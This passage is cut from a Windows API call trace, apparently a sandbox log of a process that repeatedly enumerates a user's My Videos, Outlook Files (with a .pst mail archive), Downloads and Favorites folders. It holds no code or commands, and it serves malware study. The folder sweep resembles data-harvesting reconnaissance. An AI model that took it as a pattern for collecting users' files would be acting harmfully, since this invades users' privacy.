lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0213.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.710] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", lpFilePart=0x0) returned 0x29 [0213.710] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0213.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.713] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos", lpFilePart=0x0) returned 0x29 [0213.713] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Videos\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my videos\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0213.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.716] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2d [0213.716] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\outlook files\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.717] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.717] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 1 [0213.717] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.717] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.718] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x2d [0213.718] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\Outlook Files\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\outlook files\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.718] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63954f0d, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x839084fb, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x886727b4, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.872] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 1 [0213.903] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6397affd, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x6397affd, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x8866b39a, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="achoo@gdllo.de.pst", cAlternateFileName="ACHOO@~1.PST")) returned 0 [0213.903] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.903] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Downloads", lpFilePart=0x0) returned 0x1f [0213.904] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Downloads\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\downloads\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.904] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.904] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.904] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.905] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.905] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Downloads", lpFilePart=0x0) returned 0x1f [0213.905] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Downloads\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\downloads\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.905] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.906] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.906] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436bc315, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.906] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.906] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Favorites", lpFilePart=0x0) returned 0x1f [0213.906] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\favorites\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.907] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.907] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43053b43, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43053b43, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0213.907] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.907] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0213.907] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 0 [0213.907] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.908] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Favorites", lpFilePart=0x0) returned 0x1f [0213.908] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\favorites\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.908] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.908] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43053b43, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43053b43, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0213.908] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.909] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0213.909] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.909] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.909] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links", lpFilePart=0x0) returned 0x25 [0213.909] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\favorites\\links\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.910] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.910] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x43079e90, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.910] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.910] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0213.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.910] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links", lpFilePart=0x0) returned 0x25 [0213.910] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Favorites\\Links\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\favorites\\links\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43079e90, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ca0 [0213.911] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43079e90, 